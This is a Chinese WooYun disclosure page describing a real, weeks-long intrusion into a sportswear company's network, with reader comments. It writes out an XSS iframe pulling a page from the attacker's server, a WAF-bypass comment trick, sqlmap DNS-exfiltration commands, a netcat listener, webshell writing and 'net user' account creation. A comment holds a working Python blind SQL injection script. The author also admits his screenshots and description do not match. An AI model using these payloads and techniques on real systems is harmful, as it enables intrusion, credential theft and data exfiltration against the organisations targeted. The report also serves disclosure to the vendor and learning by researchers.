漏洞概要 关注数(156) 关注此漏洞
缺陷编号: WooYun-2016-204481
漏洞标题: 我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)
相关厂商: epeaksport.com
漏洞作者: Mr.Q
提交时间: 2016-05-03 09:31
公开时间: 2016-05-09 09:00
漏洞类型: 未授权访问/权限绕过
危害等级: 高
自评Rank: 20
漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系
Tags标签: 无
漏洞详情
披露状态:
2016-05-03: 细节已通知厂商并且等待厂商处理中
2016-05-03: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-05-09: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
此次测试历时大半个月吧,不容易啊
详细说明:
先看看存不存在上传,不可以,做了限制
然后匹克某站存在xss漏洞
官方修复了,前端做了限制,正常思路,抓包绕过
等了好几天,打到一堆,终于打到了管理的cookie
成功登陆,
发现了这个
试着修改图片上传类型,结果提示不是超级管理员权限不够,又用之前打到的一堆cookie试着登陆,有一个cookie登陆后,直接就302跳转了,猜想这个可能超级管理员啊
ip做了限制?
咋办啊?又纠结了好久,接着翻了翻匹克之前的洞
CSRF
缺陷编号: WooYun-2015-128938
漏洞标题: 匹克多处CSRF漏洞
后台会不会同样存在csrf呢,结果真有,全站都未做csrf防护啊
我灵机一动,当XSS遇上CSRF 是不是会有很大的“化学反应呢”
构造了个POC,放在vps上了
插入xss代码
<iframe src="http://********/test.html" />
又是过了好久,头像可以上传了,成功getshell
试着添加用户
net user test test /add
权限不够,不是root权限,试着提权没成功
然后想到这就算了,就在这时,我又发现了匹克一处union注入,
我就想可不可以通过其他途径getshell呢,比如select into outfile
可是不知道路径...
天无绝人之路,许久之前我找到过匹克的一个盲注,影响不大就没提交,想想这回用上了
匹克主站是有安全狗的,不过可以用/**)*/绕过
root权限
附上poc脚本
想想这回有戏啊,mysql 可以利用LOAD_FILE弄到路径
盲注,而且还有安全狗,实在太慢了,
于是想到可以利用DNS解析获取SQL结果啊
这是一种利用DNS解析过程获取恶意SQL查询结果的先进的SQL注入技术。带有sql查询结果的DNS请求最终被攻击者控制的远程域名服务器拦截并提取出宝贵的数据。
利用DNS从有漏洞的数据库中渗出数据的前提条件是DBMS中有可用的能直接或间接引发DNS解析过程的子程序。 然后这类的子程序被攻击者利用,作为攻击的媒介。
因为sqlmap中没有过这个安全狗的tamper,于是自己仿照着space2comments.py改写了一个
远程登录vps
nc -lvvp 6666进行监听
利用sqlmap --dns-domain --sql-shell
路径拿到
利用刚刚的union注入写入shell
这回是root权限
net use 添加用户 远程登录
成功漫游内网
内网还有很多敏感性信息,可以直接控制扫面器打印机等,不进一步深入
整个测试过程大概经历了大半个月吧,从最开始的一个简单的绕过前端的xss,一点一点深入,各种组合拳,能到最后,其实也有很多运气的成分。这期间也学到了不少东西,明早还有安全编程的课,去睡了,晚安
漏洞证明:
已经证明
修复方案:
你们更加专业喽
版权声明:转载请注明来源 Mr.Q@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2016-05-09 09:00
厂商回复:
漏洞Rank:15 (WooYun评价)
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值
漏洞评价(共3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%
评价
-
小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧
13# 回复此人 -
#encoding=gbk import time import string import sys import random import requests def verify(url): payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.') print 'start to retrive MySQL user:' user = '' for i in range(1,21): for payload in payloads: s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload)) html_doc = requests.get('%s/**)*/and/**)*/%s' % (url,s),timeout=60) print '.', if len(html_doc.text) > 6000: user += payload sys.stdout.write('/r[please wait] %s' % user) sys.stdout.flush() break print '/n[Done]MySQL user is', user def main(): args = sys.argv url = "" if len(args) == 2: url = args[1] verify(url) else: print "Usage: python %s url" % (args[0]) if __name__ == '__main__': main()
21# 回复此人 -
很久很久以前, 我喜欢看渗透文章, 那时很多人也喜欢写渗透文章, 看的是思路, 微小的细节、出彩的神器均让我惊叹, 心想:“学习到了,学习到了,膜拜!” 这两三年,很少见到完整的渗透文章,更少见到精彩的渗透文章。 有某种感觉,让我觉得洞主和我有过同样的这段时光。
40# 回复此人 -
出来澄清下 因为洞这个确实经历了挺久,图片不是一天截下来的 贴的图确实有些问题 因为这个洞的问题不是匹克的一个站 涉及了好几个站 但漏洞是确实存在的 因为是回忆着发的漏洞 所以可能存在了描述和图片有几个地方没对上 发漏洞第一个目的是希望帮助厂商修补漏洞 当然啦 这个厂商各种偷偷修补漏洞不确认大家也都知道 第二个目的就是和大家交流心得 自己在过程中学习姿势 此次因个人原因的一个小事故本人向社区白帽表示不好意思 下次发洞前一定图片文字对应好 感谢各位大牛的悉心指正 散了吧~
44# 回复此人
评论